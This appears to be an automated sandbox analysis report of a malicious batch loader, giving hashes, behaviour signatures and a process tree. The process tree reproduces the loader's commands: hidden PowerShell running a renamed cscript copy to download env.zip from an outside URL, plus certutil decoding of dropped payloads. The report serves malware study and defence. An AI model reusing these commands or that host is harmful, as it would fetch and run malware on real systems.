Analysis

  • max time kernel
    299s
  • max time network
    242s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/09/2026, 15:26

General

  • Target
    K-order 2026 -10490-10092026.bat
  • Size 406KB
  • Sample260910-svfa5stxgw
  • SHA256 00af29c760559eb55fe48817667ff019733343788fbf5437a066f2d288fb613f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 1 IoCs
  • Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

    Payload decoded via CertUtil.

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\K-order 2026 -10490-10092026.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2672
    • C:\Windows\system32\cmd.exe
      cmd /c extrac32 /y /C C:\Windows\system32\cscript.exe C:\Users\Admin\AppData\Local\Temp\\ript.exe
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5160
      • C:\Windows\system32\extrac32.exe
        extrac32 /y /C C:\Windows\system32\cscript.exe C:\Users\Admin\AppData\Local\Temp\\ript.exe
        3⤵
          PID:3464
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -WindowStyle hidden -inputformat none -outputformat none -NonInteractive -Command "C:\Users\Admin\AppData\Local\Temp\\ript.exe C:\Users\Admin\AppData\Local\Temp\\aloha.vbs https://sumnitasinvestment.com/notice/env.zip C:\Users\Admin\AppData\Local\Temp\\app.zip"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2132
        • C:\Users\Admin\AppData\Local\Temp\ript.exe
          "C:\Users\Admin\AppData\Local\Temp\ript.exe" C:\Users\Admin\AppData\Local\Temp\\aloha.vbs https://sumnitasinvestment.com/notice/env.zip C:\Users\Admin\AppData\Local\Temp\\app.zip
          3⤵
          • Executes dropped EXE
          PID:1548
      • C:\Windows\system32\certutil.exe
        certutil -decode "C:\Users\Admin\AppData\Local\Temp\temp1.txt" "C:\Users\Admin\AppData\Local\Temp\env\libtcc.ini"
        2⤵
        • Deobfuscate/Decode Files or Information
        PID:5996
      • C:\Windows\system32\certutil.exe
        certutil -decode "C:\Users\Admin\AppData\Local\Temp\temp2.txt" "C:\Users\Admin\AppData\Local\Temp\env\lib.c"
        2⤵
        • Deobfuscate/Decode Files or Information
        PID:4648

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          aloha.vbs

          • Path C:\Users\Admin\AppData\Local\Temp\aloha.vbs
          • Size 194B
          • SHA256 08212be8f6fd3d4312f20a7604807c04da643333f07267c7e9713a452e079898
          • MD5 SHA1 SHA512 TLSH

          ript.exe

          • Path C:\Users\Admin\AppData\Local\Temp\ript.exe
          • Size 184KB
          • SHA256 7b3973fc3d78340af8dceec0cf8b626046eb4e36dcacca5f8164b39945f1c9df
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/2132-9-0x00007FF903980000-0x00007FF904324000-memory.dmp

          memory/2132-4-0x00007FF903B0F000-0x00007FF903B10000-memory.dmp

          memory/2132-10-0x00007FF903980000-0x00007FF904324000-memory.dmp

          memory/2132-11-0x00007FF903980000-0x00007FF904324000-memory.dmp

          memory/2132-13-0x00007FF903980000-0x00007FF904324000-memory.dmp

          memory/2132-5-0x00007FF903980000-0x00007FF904324000-memory.dmp

          memory/2132-14-0x00007FF903980000-0x00007FF904324000-memory.dmp

          memory/2132-8-0x000001C7EAC00000-0x000001C7EAC22000-memory.dmp

          memory/2132-20-0x00007FF903980000-0x00007FF904324000-memory.dmp

          memory/2132-21-0x00007FF903980000-0x00007FF904324000-memory.dmp

          memory/2132-26-0x00007FF903980000-0x00007FF904324000-memory.dmp